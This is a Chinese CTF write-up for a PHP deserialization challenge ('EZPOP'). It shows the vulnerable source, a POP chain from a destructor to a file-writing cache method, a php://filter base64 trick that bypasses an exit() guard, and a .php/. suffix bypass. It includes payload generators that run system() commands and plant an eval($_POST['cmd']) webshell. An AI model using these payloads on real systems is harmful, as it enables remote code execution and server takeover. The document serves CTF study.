0x00 知识点
反序列化?构造pop链
改编自
2019全国大学生安全运维赛 EZPOP
0x01解题
题目给了我们源码
<?php
error_reporting(0);
class A {
protected $store;
protected $key;
protected $expire;
public function __construct($store, $key = 'flysystem', $expire = null) {
$this->key = $key;
$this->store = $store;
$this->expire = $expire;
}
public function cleanContents(array $contents) {
$cachedProperties = array_flip([
'path', 'dirname', 'basename', 'extension', 'filename',
'size', 'mimetype', 'visibility', 'timestamp', 'type',
]);
foreach ($contents as $path => $object) {
if (is_array($object)) {
$contents[$path] = array_intersect_key($object, $cachedProperties);
}
}
return $contents;
}
public function getForStorage() {
$cleaned = $this->cleanContents($this->cache);
return json_encode([$cleaned, $this->complete]);
}
public function save() {
$contents = $this->getForStorage();
$this->store->set($this->key, $contents, $this->expire);
}
public function __destruct() {
if (!$this->autosave) {
$this->save();
}
}
}
class B {
protected function getExpireTime($expire): int {
return (int) $expire;
}
public function getCacheKey(string $name): string {
// 使缓存文件名随机
$cache_filename = $this->options['prefix'] . uniqid() . $name;
if(substr($cache_filename, -strlen('.php')) === '.php') {
die('?');
}
return $cache_filename;
}
protected function serialize($data): string {
if (is_numeric($data)) {
return (string) $data;
}
$serialize = $this->options['serialize'];
return $serialize($data);
}
public function set($name, $value, $expire = null): bool{
$this->writeTimes++;
if (is_null($expire)) {
$expire = $this->options['expire'];
}
$expire = $this->getExpireTime($expire);
$filename = $this->getCacheKey($name);
$dir = dirname($filename);
if (!is_dir($dir)) {
try {
mkdir($dir, 0755, true);
} catch (\Exception $e) {
// 创建失败
}
}
$data = $this->serialize($value);
if ($this->options['data_compress'] && function_exists('gzcompress')) {
//数据压缩
$data = gzcompress($data, 3);
}
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);
if ($result) {
return $filename;
}
return null;
}
}
if (isset($_GET['src']))
{
highlight_file(__FILE__);
}
$dir = "uploads/";
if (!is_dir($dir))
{
mkdir($dir);
}
unserialize($_GET["data"]);
先贴上师傅链接
https://250.ac.cn/2019/11/21/2019-EIS-WriteUp/#ezpop
首先可以看到?序列化A,当A::autosave==false成立时在?__destruct?中调用了A::save()
A::save()中调用了A::store->set(),将A::store赋值为一个B对象,即可调用B::set()。
B::set()可以写入文件,注意这里:原题中文件名(以及路径)和文件内容后半部分可控。但是我们此题修改了一下使得文件名随机,并且比较了后缀并限制了后缀不能为php
?public?function?getCacheKey(string?$name):?string?{
????????//?使缓存文件名随机
????????$cache_filename?=?$this->options['prefix']?.?uniqid()?.?$name;
????????if(substr($cache_filename,?-strlen('.php'))?===?'.php')?{
??????????die('?');
????????}
????????return?$cache_filename;
????}
文件内容前半部分中,存在一个exit(),会导致写入的webshell无法执行
利用base64_decode以及php://filter可以绕过
通过php://filter/write=convert.base64-decode将文件内容解码后写入,bypass exit。
然后回溯看看$filename和$data是怎么处理的。
$filename:
用B::getCacheKey($name),在B::getCacheKey($name)中拼接字符串$this->options[‘prefix‘].$name构成filename
$data:
108行拼接前半部分,通过上面的方法bypass。
97行调用B::serialize($value),$value是B::set($name, $value, $expire = null)的参数。
B::serialize($value)调用B::options‘serialize‘处理了$value。
再看$value:
$value实际是A::getForStorage()的返回值。A::getForStorage()返回json_encode([A::cleanContents(A::cache), A::complete]);
A::cleanContents(A::cache)实现了一个过滤的功能,A::complete更容易控制,直接写为shellcode。
由于$value是一个json字符串,然后,json字符串的字符均不是base64合法字符,通过base64_decode可以直接从json中提取出shellcode。
所以将shellcode经过base64编码,B::options[‘serialize‘]赋值为base64_decode。
跟着师傅链接分析了一下,
payload:
直接打命令进去,生成flag文件 获取flag
<?php
class?A{
????protected?$store;
????protected?$key;
????protected?$expire;
????public?$cache?=?[];
????public?$complete?=?true;
????public?function?__construct?()?{
????????$this->store?=?new?B();
????????$this->key?=?'/../wtz.phtml';
????????$this->cache?=?['path'=>'a','dirname'=>'`cat?/flag?>?./uploads/flag.php`'];
????}
}
class?B{
????public?$options?=?[
????????'serialize'?=>?'system',
????????'prefix'?=>?'sssss',
????];
}
echo?urlencode(serialize(new?A()));
payload2:
绕过php后缀:
在做路径处理的时候,会递归的删除掉路径中存在的 /. ,所以导致写入文件成功。
<?php
class A{
protected $store;
protected $key;
protected $expire;
public function __construct()
{
$this->key = '/../wtz.php/.';
}
public function start($tmp){
$this->store = $tmp;
}
}
class B{
public $options;
}
$a = new A();
$b = new B();
$b->options['prefix'] = "php://filter/write=convert.base64-decode/resource=uploads/";
$b->options['expire'] = 11;
$b->options['data_compress'] = false;
$b->options['serialize'] = 'strval';
$a->start($b);
$object = array("path"=>"PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg");
$path = '111';
$a->cache = array($path=>$object);
$a->complete = '2';
echo urlencode(serialize($a));
?>
解法三:
先写一个图片马
再写一个解析?.user.ini
使图片马作为?php?执行
链接:
http://althims.com/2020/01/29/buu-new-year/
参考链接:
http://althims.com/2020/01/29/buu-new-year/
https://www.suk1.top/2020/01/31/2020%E6%96%B0%E6%98%A5%E7%BA%A2%E5%8C%85/
http://www.rayi.vip/2019/11/27/EIS%202019/
https://250.ac.cn/2019/11/21/2019-EIS-WriteUp/#ezpop
原文地址:https://www.cnblogs.com/wangtanzhi/p/12337443.html